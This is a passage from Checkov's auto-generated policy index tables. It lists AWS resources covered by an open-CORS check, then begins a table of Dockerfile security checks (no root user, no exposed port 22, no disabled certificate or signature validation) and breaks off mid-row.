                           | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1616 | CKV2_AWS_75 | resource | aws_vpc_ipam_scope                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1617 | CKV2_AWS_75 | resource | aws_vpc_ipv4_cidr_block_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1618 | CKV2_AWS_75 | resource | aws_vpc_ipv6_cidr_block_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1619 | CKV2_AWS_75 | resource | aws_vpc_network_performance_metric_subscription                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1620 | CKV2_AWS_75 | resource | aws_vpc_peering_connection                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1621 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_accepter                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1622 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_options                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1623 | CKV2_AWS_75 | resource | aws_vpc_security_group_egress_rule                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1624 | CKV2_AWS_75 | resource | aws_vpc_security_group_ingress_rule                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1625 | CKV2_AWS_75 | resource | aws_vpc_security_group_vpc_association                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1626 | CKV2_AWS_75 | resource | aws_vpclattice_access_log_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1627 | CKV2_AWS_75 | resource | aws_vpclattice_auth_policy                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1628 | CKV2_AWS_75 | resource | aws_vpclattice_listener                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1629 | CKV2_AWS_75 | resource | aws_vpclattice_listener_rule                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1630 | CKV2_AWS_75 | resource | aws_vpclattice_resource_configuration                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1631 | CKV2_AWS_75 | resource | aws_vpclattice_resource_gateway                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1632 | CKV2_AWS_75 | resource | aws_vpclattice_resource_policy                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1633 | CKV2_AWS_75 | resource | aws_vpclattice_service                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1634 | CKV2_AWS_75 | resource | aws_vpclattice_service_network                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1635 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_resource_association              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1636 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_service_association               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1637 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_vpc_association                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1638 | CKV2_AWS_75 | resource | aws_vpclattice_target_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1639 | CKV2_AWS_75 | resource | aws_vpclattice_target_group_attachment                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1640 | CKV2_AWS_75 | resource | aws_vpn_connection                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1641 | CKV2_AWS_75 | resource | aws_vpn_connection_route                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1642 | CKV2_AWS_75 | resource | aws_vpn_gateway                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1643 | CKV2_AWS_75 | resource | aws_vpn_gateway_attachment                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1644 | CKV2_AWS_75 | resource | aws_vpn_gateway_route_propagation                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1645 | CKV2_AWS_75 | resource | aws_waf_byte_match_set                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1646 | CKV2_AWS_75 | resource | aws_waf_geo_match_set                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1647 | CKV2_AWS_75 | resource | aws_waf_ipset                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1648 | CKV2_AWS_75 | resource | aws_waf_rate_based_rule                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1649 | CKV2_AWS_75 | resource | aws_waf_regex_match_set                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1650 | CKV2_AWS_75 | resource | aws_waf_regex_pattern_set                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1651 | CKV2_AWS_75 | resource | aws_waf_rule                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1652 | CKV2_AWS_75 | resource | aws_waf_rule_group                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1653 | CKV2_AWS_75 | resource | aws_waf_size_constraint_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1654 | CKV2_AWS_75 | resource | aws_waf_sql_injection_match_set                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1655 | CKV2_AWS_75 | resource | aws_waf_web_acl                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1656 | CKV2_AWS_75 | resource | aws_waf_xss_match_set                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1657 | CKV2_AWS_75 | resource | aws_wafregional_byte_match_set                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1658 | CKV2_AWS_75 | resource | aws_wafregional_geo_match_set                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1659 | CKV2_AWS_75 | resource | aws_wafregional_ipset                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1660 | CKV2_AWS_75 | resource | aws_wafregional_rate_based_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1661 | CKV2_AWS_75 | resource | aws_wafregional_regex_match_set                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1662 | CKV2_AWS_75 | resource | aws_wafregional_regex_pattern_set                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1663 | CKV2_AWS_75 | resource | aws_wafregional_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1664 | CKV2_AWS_75 | resource | aws_wafregional_rule_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1665 | CKV2_AWS_75 | resource | aws_wafregional_size_constraint_set                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1666 | CKV2_AWS_75 | resource | aws_wafregional_sql_injection_match_set                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1667 | CKV2_AWS_75 | resource | aws_wafregional_web_acl                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1668 | CKV2_AWS_75 | resource | aws_wafregional_web_acl_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1669 | CKV2_AWS_75 | resource | aws_wafregional_xss_match_set                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1670 | CKV2_AWS_75 | resource | aws_wafv2_ip_set                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1671 | CKV2_AWS_75 | resource | aws_wafv2_regex_pattern_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1672 | CKV2_AWS_75 | resource | aws_wafv2_rule_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1673 | CKV2_AWS_75 | resource | aws_wafv2_web_acl                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1674 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1675 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_logging_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1676 | CKV2_AWS_75 | resource | aws_worklink_fleet                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1677 | CKV2_AWS_75 | resource | aws_worklink_website_certificate_authority_association           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1678 | CKV2_AWS_75 | resource | aws_workspaces_connection_alias                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1679 | CKV2_AWS_75 | resource | aws_workspaces_directory                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1680 | CKV2_AWS_75 | resource | aws_workspaces_ip_group                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1681 | CKV2_AWS_75 | resource | aws_workspaces_workspace                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1682 | CKV2_AWS_75 | resource | aws_xray_encryption_config                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1683 | CKV2_AWS_75 | resource | aws_xray_group                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1684 | CKV2_AWS_75 | resource | aws_xray_sampling_rule                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/dockerfile.md",
    "content": "---\nlayout: default\ntitle: dockerfile resource scans\nnav_order: 1\n---\n\n# dockerfile resource scans (auto generated)\n\n|    | Id             | Type       | Entity     | Policy                                                                                                                                                                                  | IaC        | Resource Link                                                                                                                                                     |\n|----|----------------|------------|------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_DOCKER_1   | dockerfile | EXPOSE     | Ensure port 22 is not exposed                                                                                                                                                           | dockerfile | [ExposePort22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/ExposePort22.py)                                                    |\n|  1 | CKV_DOCKER_2   | dockerfile | *          | Ensure that HEALTHCHECK instructions have been added to container images                                                                                                                | dockerfile | [HealthcheckExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/HealthcheckExists.py)                                          |\n|  2 | CKV_DOCKER_3   | dockerfile | *          | Ensure that a user for the container has been created                                                                                                                                   | dockerfile | [UserExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/UserExists.py)                                                        |\n|  3 | CKV_DOCKER_4   | dockerfile | ADD        | Ensure that COPY is used instead of ADD in Dockerfiles                                                                                                                                  | dockerfile | [AddExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/AddExists.py)                                                          |\n|  4 | CKV_DOCKER_5   | dockerfile | RUN        | Ensure update instructions are not use alone in the Dockerfile                                                                                                                          | dockerfile | [UpdateNotAlone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/UpdateNotAlone.py)                                                |\n|  5 | CKV_DOCKER_6   | dockerfile | MAINTAINER | Ensure that LABEL maintainer is used instead of MAINTAINER (deprecated)                                                                                                                 | dockerfile | [MaintainerExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/MaintainerExists.py)                                            |\n|  6 | CKV_DOCKER_7   | dockerfile | FROM       | Ensure the base image uses a non latest version tag                                                                                                                                     | dockerfile | [ReferenceLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/ReferenceLatestTag.py)                                        |\n|  7 | CKV_DOCKER_8   | dockerfile | USER       | Ensure the last USER is not root                                                                                                                                                        | dockerfile | [RootUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/RootUser.py)                                                            |\n|  8 | CKV_DOCKER_9   | dockerfile | RUN        | Ensure that APT isn't used                                                                                                                                                              | dockerfile | [RunUsingAPT.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/RunUsingAPT.py)                                                      |\n|  9 | CKV_DOCKER_10  | dockerfile | WORKDIR    | Ensure that WORKDIR values are absolute paths                                                                                                                                           | dockerfile | [WorkdirIsAbsolute.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/WorkdirIsAbsolute.py)                                          |\n| 10 | CKV_DOCKER_11  | dockerfile | FROM       | Ensure From Alias are unique for multistage builds.                                                                                                                                     | dockerfile | [AliasIsUnique.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/AliasIsUnique.py)                                                  |\n| 11 | CKV2_DOCKER_1  | resource   | RUN        | Ensure that sudo isn't used                                                                                                                                                             | dockerfile | [RunUsingSudo.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUsingSudo.yaml)                                   |\n| 12 | CKV2_DOCKER_2  | resource   | RUN        | Ensure that certificate validation isn't disabled with curl                                                                                                                             | dockerfile | [RunUnsafeCurl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUnsafeCurl.yaml)                                 |\n| 13 | CKV2_DOCKER_3  | resource   | RUN        | Ensure that certificate validation isn't disabled with wget                                                                                                                             | dockerfile | [RunUnsafeWget.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUnsafeWget.yaml)                                 |\n| 14 | CKV2_DOCKER_4  | resource   | RUN        | Ensure that certificate validation isn't disabled with the pip '--trusted-host' option                                                                                                  | dockerfile | [RunPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunPipTrustedHost.yaml)                         |\n| 15 | CKV2_DOCKER_5  | resource   | ARG        | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable                                                                                       | dockerfile | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml)                   |\n| 16 | CKV2_DOCKER_5  | resource   | ENV        | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable                                                                                       | dockerfile | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml)                   |\n| 17 | CKV2_DOCKER_5  | resource   | RUN        | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable                                                                                       | dockerfile | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml)                   |\n| 18 | CKV2_DOCKER_6  | resource   | ARG        | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable                                                                            | dockerfile | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml)   |\n| 19 | CKV2_DOCKER_6  | resource   | ENV        | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable                                                                            | dockerfile | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml)   |\n| 20 | CKV2_DOCKER_6  | resource   | RUN        | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable                                                                            | dockerfile | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml)   |\n| 21 | CKV2_DOCKER_7  | resource   | RUN        | Ensure that packages with untrusted or missing signatures are not used by apk via the '--allow-untrusted' option                                                                        | dockerfile | [RunApkAllowUntrusted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunApkAllowUntrusted.yaml)                   |\n| 22 | CKV2_DOCKER_8  | resource   | RUN        | Ensure that packages with untrusted or missing signatures are not used by apt-get via the '--allow-unauthenticated' option                                                              | dockerfile | [RunAptGetAllowUnauthenticated.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunAptGetAllowUnauthenticated.yaml) |\n| 23 | CKV2_DOCKER_9  | resource   | RUN        | Ensure that packages with untrusted or missing GPG signatures are not used by dnf, tdnf, or yum via the '--nogpgcheck' option                                                           | dockerfile | [RunYumNoGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunYumNoGpgCheck.yaml)                           |\n| 24 | CKV2_DOCKER_10 | resource   | RUN        | Ensure that packages with untrusted or missing signatures are not used by rpm via the '--nodigest', '--nosignature', '--noverify', or '--nofiledigest' options                          | dockerfile | [RunRpmNoSignature.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunRpmNoSignature.yaml)                         |\n| 25 | CKV2_DOCKER_11 | resource   | RUN        | Ensure that the '--force-yes' option is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | dockerfile | 